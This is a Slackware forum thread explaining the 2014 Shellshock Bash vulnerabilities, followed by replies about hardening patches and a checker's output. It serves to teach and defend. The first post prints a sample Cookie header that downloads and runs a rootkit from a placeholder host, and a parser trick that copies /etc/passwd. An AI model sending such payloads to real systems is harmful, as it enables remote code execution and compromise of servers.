LinuxQuestions.org

LinuxQuestions.org (/questions/)
-   Slackware (https://www.linuxquestions.org/questions/slackware-14/)
-   -   Unshocking the shell (deconstructing the Bash mess) (https://www.linuxquestions.org/questions/slackware-14/unshocking-the-shell-deconstructing-the-bash-mess-4175520304/)

mancha 09-27-2014 11:39 AM

Unshocking the shell (deconstructing the Bash mess)
 
What's this Bash thing all about? What are those crazy-looking "env x='() { :; }..." things I'm told test for vulnerability? Why the
tsunami of Slackware Bash updates? Where are all the socks that get lost in the dryer?

Well, first some basics. Bash supports the concept of functions (a series of commands for later execution). Many of you are probably
familiar with them and have seen them in shell scripts like the one below:

Code:

1  #/bin/bash

3  myfunc ()
4  {
5    echo "hi";
6  }

8  myfunc;

That script defines function myfunc (lines 3-6) and executes it (line 8).

A more obscure Bash feature fewer people know about allows the propagation of functions by putting their definitions into environment
variables: myfunc='() { echo "hi"; }'. Specifically, we can export our myfunc function to a subshell that can then execute it. e.g.:

Code:

$ env myfunc='() { echo "hi"; }' bash -c 'myfunc;'
hi

So far, so good. But this is where things get interesting. Stephane Chazelas discovered a bug in Bash where parsing of function-
carrying environment variables would incorrectly continue past the end of the function's definition. And, the extra stuff processed
would get immediately executed! So, one could construct something like:

Code:

$ env myfunc='() { echo "hi"; }; echo "this part is the problem!"' bash -c "myfunc;"
this part is the problem!
hi

This was extremely troubling because of the amount of CGI scripts (and other public-facing services) that are either Bash scripts
themselves or pass untrusted input to Bash or /bin/sh (which in Slackware's case is Bash) via the environment. For example, an
attacker might craft an HTTP GET with the following field:

Code:

Cookie: () { :; }; wget -O /tmp/rootkit http://0.1.2.3; chmod 777 /tmp/rootkit; /tmp/rootkit;
If this ends up getting processed by a Bash instance as an environment variable like HTTP_COOKIE, Bash would download the rootkit,
make it executable, and run it. Game over!

This whopper of a flaw (designated CVE-2014-6271) is the most serious part of this mess (at least so far) and was fixed in the
upstream patches released on 20140924 (included in Slackware's first Bash upgrade).

Shortly afterwards, Tavis Ormandy demonstrated the parser's fragility with another way to fool it during the parsing of functional
definitions:

Code:

$ env myfunc='() { (a)=>\' bash -c "mancha cat /etc/passwd"; <-- copies /etc/passwd to a file named mancha
This parser flaw doesn't appear to have the exploit implications of the first one and was fixed in the upstream patches released on
20140926 (unofficial versions included in the 2nd Slackware Bash upgrade with official versions part of the 3rd and latest Slackware
update).

So here we are...three days and three Slackware security releases later yet concerns remain: the parser is fragile, remains exposed
to the outside world, and in all likelihood new breach points will be discovered. The attack surface is just too damn big! But, even if
no one finds another way to breach the parser, the situation is troubling. Consider that we can define a function Cookie:

Code:

$ env Cookie='() { echo "this could be evil code"; }' bash -c 'Cookie;'
this could be evil code

Now that CVE-2014-6271 has been fixed we believe the parser won't execute trailing code by mistake but an attacker could send an
HTTP header with the field: Cookie: () { evil; code; here; } and possibly exploit a poorly-written CGI script. Similar attacks
could be leveled on other public-facing services. Until now this Bash feature hasn't attracted much attention. But, the way it exposes
its own fragile parser to possible exploitation and how it can be leveraged to potentially exploit reams of public-facing applications,
makes the feature somewhat of a liability.

One approach to shrinking this attack surface (short of turning off function importing altogether) is requiring function-carrying
environment variables have a particular syntax (Florian Weimer, of Red Hat, has proposed BASH_FUNC_myfunc()). Rather than wait for
the dust to settle, I decided to package Red Hat's hardening patch for Bash 3.1, 4.1, 4.2, and 4.3 (versions used by Slackware 12.0+)
and have shared them in another post for fellow slackers who want the added comfort (look for the "affix" patches). Debian, Fedora,
and others already ship Bash with these patches. I should also mention I consider the hardening patch an interim measure while
upstream settles on an official solution. Right now, it seems upstream intends to mainline some variation of Florian's suggestion.

With those patches applied we're no longer able to arbitrarily export function myfunc through an environment variable of the same
name as we did before:

Code:

$ env myfunc='() { echo "hi"; }' bash -c 'myfunc;'
bash: myfunc: command not found

We would need to do:

Code:

$ env BASH_FUNC_myfunc\(\)='() { echo "hi"; }' bash -c 'myfunc;'
hi

Why does this offer added protection? Well, if an attacker sends an HTTP header: Cookie: () { evil; code; here; } that Apache
passes to a buggy CGI script as HTTP_COOKIE='() { evil; code; here; }', importation would be denied because HTTP_COOKIE
isn't of the form BASH_FUNC_x().

Finally, there's the question of whether environment variables are the only method through which the Bash parser is dangerously
exposed to external untrusted input. If other ways exist, we have a lot more to worry about.

--mancha

Xsane 09-27-2014 02:05 PM

Thanks for the explanation mancha, and for sharing all of your security work.

Didier Spaier 09-27-2014 02:59 PM

A bit of history.

The right spelling of Stéphane Chazelas' first name is... Stéphane.

Thanks also for the explanation, Mancha.

Darth Vader 09-27-2014 03:36 PM

Well, there is the ol'good command.com, err.. FREECOM ported by FreeDOS guys, any time we want...

Maybe, with porting of "bash" galore to C/C++ and porting the VERY LIMITED command.com as default shell, we can avoid the Next World Hysteria on the next "bashing" bug on "bash"?

metaschima 09-27-2014 03:57 PM

Thanks for the detailed explanation. It is certainly a critical bug, all because of one useless feature few people have ever heard of (I haven't). Maybe the best solution is to delete or disable the feature until they figure it out fully.

Smokey_justme 09-27-2014 07:03 PM

@metaschima: Just in case you missed it because of the security thread merging this is the diff to do just that.. Personally, I would recommend applying either the hardened diff supplied by mancha or the diff that simply disables the feature at least on servers with GCIs (unless one of the scripts depends on such a feature)

@mancha: Thank you for the detailed explanation.

hitest 09-27-2014 07:11 PM

Many thanks for the very thorough explanation, mancha. Very interesting indeed. :)

metaschima 09-27-2014 07:37 PM

Quote:

Originally Posted by Smokey_justme (Post 5245554)
@metaschima: Just in case you missed it because of the security thread merging this is the diff to do just that.. Personally, I would recommend applying either the hardened diff supplied by mancha or the diff that simply disables the feature at least on servers with GCIs (unless one of the scripts depends on such a feature)

Yeah I missed that, thanks. I don't run a server tho, so I'm not sure it is worth the trouble ATM. If vulnerabilities continue to be found with the feature I will build my own bash with this patch.

mancha 09-29-2014 02:26 AM

In my original post I mention Florian's hardening proposal (the affix patch) and why you should consider applying it. Since the time of that
writing, Bash upstream has mainlined a variation of Florian's affix patch.

Please take a second to read this post to understand why I am seriously recommending you prioritize upgrading to the latest patch level.

--mancha

Paulo2 09-29-2014 09:25 PM

Thanks mancha for the explanation, very clear.
There is a new bash update for Slackware that implements "BASH_FUNC",
I'm downloading it right now.

Maybe a silly question, but why bash packages are named for example
4.3."0"26 if bash version is 4.3.26.

kooru 09-30-2014 06:02 AM

Thanks, It's very useful!

metaschima 10-02-2014 11:28 AM

Quote:

Originally Posted by Smokey_justme (Post 5245554)
@metaschima: Just in case you missed it because of the security thread merging this is the diff to do just that.. Personally, I would recommend applying either the hardened diff supplied by mancha or the diff that simply disables the feature at least on servers with GCIs (unless one of the scripts depends on such a feature)

@mancha: Thank you for the detailed explanation.

Somehow the post with the diff has disappeared, anyone still have it ? I guess I could just try to fix it myself.

Smokey_justme 10-02-2014 01:13 PM

The post that I linked to is still there (which will provide a one-line diff to completely disable parsing evironment variables as functions -- as opposed to the hardened diff which just limits them to BASH_FUNC_*)... Probably you just clicked on the link while the mods where moving the posts to clear the security thread...

thirdm 10-02-2014 01:15 PM

Quote:

Originally Posted by metaschima (Post 5248065)
Somehow the post with the diff has disappeared, anyone still have it ? I guess I could just try to fix it myself.

Funny, it seems to be there when I look. Here's a new patch against 90a39f3 Bash-4.3 patch 28 in git:
Code:

diff --git a/variables.c b/variables.c
index 7c82710..220985c 100644
--- a/variables.c
+++ b/variables.c
@@ -352,12 +352,8 @@ initialize_shell_variables (env, privmode)
 
      temp_var = (SHELL_VAR *)NULL;
 
-      /* If exported function, define it now.  Don't import functions from
-        the environment in privileged mode. */
-      if (privmode == 0 && read_but_dont_execute == 0 &&
-          STREQN (BASHFUNC_PREFIX, name, BASHFUNC_PREFLEN) &&
-          STREQ (BASHFUNC_SUFFIX, name + char_index - BASHFUNC_SUFFLEN) &&
-          STREQN ("() {", string, 4))
+      /* Exported functions? Who needs them? */
+      if (0)
        {
          size_t namelen;
          char *tname;                /* desired imported function name */

But rather than apply a patch, I'd go find the function yourself and set the condition false (or wipe out the whole if block). The function is initialize_shell_variables. Though much of bash source code I find difficult to read and reason about (e.g. does patch 25 leak command? it's not disposed after the warning and break like some of the other similar cases, but perhaps something else frees it or re-uses the space), this function is simple and clear enough that I'd be comfortable hacking it up like this. I might point out I'm not running with this change yet. My exposure and risk tolerance are low and high, respectively, for my home environment. So don't feel like cause there's a patch that it's been tested. Don't see how it couldn't work though. If someone finds it doesn't let me know and I'll play with it at home.

[Actually, if I were doing this I'd probably revert to pre-patch 25 and eliminate the if block there. I still don't like that name transform hack with all its extra string handling. Oh, maybe I'd take patch 26, though, oh and 28, definitely 28]

moisespedro 10-02-2014 08:40 PM

Found a handy script to test all bash's shellshock related vulnerabilities.

Example of the output (with latest bash package provided by Pat):

Code:

pedro@slack [~/Scripts] $ ./bashcheck                     
Testing /usr/bin/bash ...
GNU bash, version 4.2.50(2)-release (x86_64-slackware-linux-gnu)

Variable function parser pre/suffixed [%%, upstream], bugs not explitable
Not vulnerable to CVE-2014-6271 (original shellshock)
Not vulnerable to CVE-2014-7169 (taviso bug)
Found non-exploitable CVE-2014-7186 (redir_stack bug)
Test for CVE-2014-7187 not reliable without address sanitizer
Found non-exploitable CVE-2014-6277 (lcamtuf bug #1)
Found non-exploitable CVE-2014-6278 (lcamtuf bug #2)

I am not really sure what this means:
Code:

Test for CVE-2014-7187 not reliable without address sanitizer
But I tested the vulnerability manually and it is not vulnerable.


All times are GMT -5. The time now is 05:25 PM.